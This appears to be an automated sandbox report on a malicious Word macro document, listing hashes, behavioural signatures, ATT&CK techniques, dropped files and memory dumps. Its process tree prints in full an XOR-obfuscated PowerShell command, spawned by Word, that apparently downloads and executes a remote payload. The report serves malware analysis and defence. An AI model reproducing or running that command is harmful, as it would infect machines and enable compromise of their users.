2b9241a819ed6332a17e8e549129d15db870a6ebf4131870b402c14fda2cf724

General

Target

317a88db81ffa217aa720996a6386680_JaffaCakes118.doc
Size

249KB
MD5

317a88db81ffa217aa720996a6386680
SHA1

3ea2d570bc097c31092ffc80d1e02c30482f7415
SHA256

2b9241a819ed6332a17e8e549129d15db870a6ebf4131870b402c14fda2cf724
SHA512

c2ed26002efc2cc29bfbaede589d0126ab76d60376805c39831535dda5b8c5d1be89ae5451653c5fabc9b9ef75439373ae19d69b0d69d010047a12af55253dc2
SSDEEP

3072:xH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5lyXJm9YBmjD6yyYtVTk:xFVeEsjdXRC3jexGG6SYWofXPTk

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2244	3104	powershell.exe	89

Blocklisted process makes network request 2 IoCs

flow	pid	Process
62	2244	powershell.exe
66	2244	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3104	WINWORD.EXE
3104	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE
3104	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3104 wrote to memory of 2244	3104	WINWORD.EXE	104
PID 3104 wrote to memory of 2244	3104	WINWORD.EXE	104

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\317a88db81ffa217aa720996a6386680_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$(SeT 'Ofs' '' ) "+[string]( '11l118>102B78l18%65>74j88l2&64%77j69&74O76B91j15B97l74&91G1l120%74B77@108@67j70@74B65W91>20G11l102l78@117j18>8&71W91G91G95@21B0&0G88j88&88l1O67>74>68j70O2W77&74>85j2%93&74W76B74W95j91j86>2&65&78>2B93>74G76W74@95&91@74%1O76l64l66j0%76@26%102j26l98>75%90B70O0&111j71l91l91@95W21W0@0B88B88&88B1>65>78l89O78G93&95W93>64@75l90&76%76>70j64B65&74%92W1G76B64>66%0W110@78%126>86l118B127l76>65O0W111W71G91>91@95j21&0j0W88O88W88O1O77W78G72G70W74&65W65j78G65B78O93W74j88%1j95j67l0W66&64l75j90G67j74%92W0%66j108l25O30@28B103&91&96%120>102j0l111O71&91&91%95l21@0l0O88l88&88%1B91>71G74B95O78B95l74G93B77B74l67B67%74>1O76>64j66&0@66>90%67O91W70W66G74W75B70j78@0G121B105j126@27j120B90&95l78%101l0>111@71O91>91%95%21&0j0B90@92O90O72%74%64j91&74>76O71&65l64G1B76O64%66W0B31B123O117G96j97@104O89l0W8%1>124&95&67l70&91B7@8%111j8j6G20&11&101&97%108O15&18@15>8O24l29@25l8G20B11j75j66%90l18>11G74l65>89>21%91&74>66&95B4&8l115O8%4l11>101l97&108>4O8W1B74j87>74l8B20j73B64@93j74W78@76&71>7@11j71W92O107G15W70B65W15%11W102>78>117%6%84&91l93G86B84G11%118B102l78&1G107@64O88j65j67>64l78@75l105%70@67j74B7%11l71O92@107>3B15l11%75&66>90W6%20G124@91j78%93O91j2G127l93G64l76G74W92%92O15@11&75O66W90O20G77O93%74B78>68W20&82&76B78%91G76l71G84j82G82' -spliT 'O'-spLIt'@' -sPliT'&'-SPlIt 'l' -sPliT'>'-SPlIt'b' -splIT'G'-sPlIt 'W'-SPLiT '%' -SpliT'J'|forEAcH-ObjECt { [chAr]($_-BXor "0x2f")} ) +" $( sET-ItEm 'vAriaBlE:OfS' ' ' ) "| &( $PShome[21]+$pshOMe[30]+'x')
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2244

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4324 --field-trial-handle=2284,i,9807419199535700662,2319175108930815708,262144 --variations-seed-version /prefetch:8
1⤵
PID:3480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\726.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
C:\Users\Admin\AppData\Local\Temp\726.exe

Filesize
1KB

MD5
4855265910c4bbaa87f565bbbd70a536

SHA1
711571a32b877adc2c40269a28d6b906356e707b

SHA256
55a4cb43a9a44cc488ccf0d27a83f21e3ce1e9a4762773a335c1e127930e6971

SHA512
35234b8d601ead4d80a1affd487656ecf8a41d4c104e5cbffd9a5c4fb16f39a1b8484b0dedd452109558f1b38764eb38b8751aead97455c1e6af06ee79c24eda

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mgp3vwfo.ylr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2244-35-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/2244-70-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/2244-41-0x0000028771980000-0x00000287719A2000-memory.dmp

Filesize
136KB

Download
memory/3104-32-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-7-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-8-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-9-0x00007FFE3CF80000-0x00007FFE3CF90000-memory.dmp

Filesize
64KB

Download
memory/3104-13-0x00007FFE3CF80000-0x00007FFE3CF90000-memory.dmp

Filesize
64KB

Download
memory/3104-18-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-23-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-22-0x00007FFE7F4AD000-0x00007FFE7F4AE000-memory.dmp

Filesize
4KB

Download
memory/3104-25-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-29-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-0-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-34-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-3-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-2-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-6-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-4-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-5-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-1-0x00007FFE7F4AD000-0x00007FFE7F4AE000-memory.dmp

Filesize
4KB

Download
memory/3104-72-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-73-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-74-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download
memory/3104-95-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-96-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-98-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-97-0x00007FFE3F490000-0x00007FFE3F4A0000-memory.dmp

Filesize
64KB

Download
memory/3104-99-0x00007FFE7F410000-0x00007FFE7F605000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads